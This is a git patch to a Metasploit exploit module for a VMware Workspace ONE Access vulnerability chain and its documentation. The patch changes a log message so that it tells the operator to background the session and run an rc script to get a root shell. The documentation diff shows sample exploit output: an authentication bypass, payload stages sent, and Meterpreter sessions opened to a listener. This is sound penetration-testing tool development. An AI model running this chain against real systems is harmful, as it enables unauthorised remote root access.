From 08788d3d82da6e68f8cd66ea1d32c5caeff43ee5 Mon Sep 17 00:00:00 2001 From: Jack Heysel Date: Thu, 13 Apr 2023 14:28:15 -0400 Subject: [PATCH] Update logging with rc script info --- .../http/vmware_workspace_one_access_vmsa_2022_0011_chain.md | 4 ++-- .../http/vmware_workspace_one_access_vmsa_2022_0011_chain.rb | 2 +- 2 files changed, 3 insertions(+), 3 deletions(-) diff --git a/documentation/modules/exploit/linux/http/vmware_workspace_one_access_vmsa_2022_0011_chain.md b/documentation/modules/exploit/linux/http/vmware_workspace_one_access_vmsa_2022_0011_chain.md index c871815931..aafed68109 100644 --- a/documentation/modules/exploit/linux/http/vmware_workspace_one_access_vmsa_2022_0011_chain.md +++ b/documentation/modules/exploit/linux/http/vmware_workspace_one_access_vmsa_2022_0011_chain.md @@ -95,7 +95,7 @@ msf6 exploit(linux/http/vmware_workspace_one_access_vmsa_2022_0011_chain) > run [+] The target is vulnerable. Successfully by-passed authentication by exploiting CVE-2022-22956 [*] Using URL: http://192.168.123.1:8080/ONgtre.xml [*] Sending stage (24772 bytes) to 192.168.123.16 -[+] Now use exploits/linux/local/vmware_workspace_one_access_cve_2022_22960.rb to get a root shell +[+] Now background this session with "bg" and then run "resource run_cve-2022-22960_lpe.rc" to get a root shell [*] Meterpreter session 1 opened (192.168.123.1:4444 -> 192.168.123.16:53750) at 2023-04-07 10:28:46 -0400 [*] Server stopped. @@ -123,7 +123,7 @@ msf6 exploit(linux/http/vmware_workspace_one_access_vmsa_2022_0011_chain) > run [*] Using URL: http://192.168.123.1:8080/mQUV.xml [*] Using URL: http://192.168.123.1:8080/JlLraNNZdU [*] Sending stage (3045348 bytes) to 192.168.123.16 -[+] Now use exploits/linux/local/vmware_workspace_one_access_cve_2022_22960.rb to get a root shell +[+] Now background this session with "bg" and then run "resource run_cve-2022-22960_lpe.rc" to get a root shell [*] Meterpreter session 2 opened (192.168.123.1:4444 -> 192.168.123.16:53818) at 2023-04-07 10:29:26 -0400 [*] Command Stager progress - 100.00% done (116/116 bytes) diff --git a/modules/exploits/linux/http/vmware_workspace_one_access_vmsa_2022_0011_chain.rb b/modules/exploits/linux/http/vmware_workspace_one_access_vmsa_2022_0011_chain.rb index 3281a27fd7..417e685696 100644 --- a/modules/exploits/linux/http/vmware_workspace_one_access_vmsa_2022_0011_chain.rb +++ b/modules/exploits/linux/http/vmware_workspace_one_access_vmsa_2022_0011_chain.rb @@ -225,7 +225,7 @@ class MetasploitModule < Msf::Exploit::Remote # Instruct the user to exploit CVE-2022-22960 def on_new_session(_client) - print_good('Now use exploits/linux/local/vmware_workspace_one_access_cve_2022_22960.rb to get a root shell') + print_good('Now background this session with "bg" and then run "resource run_cve-2022-22960_lpe.rc" to get a root shell') end def exploit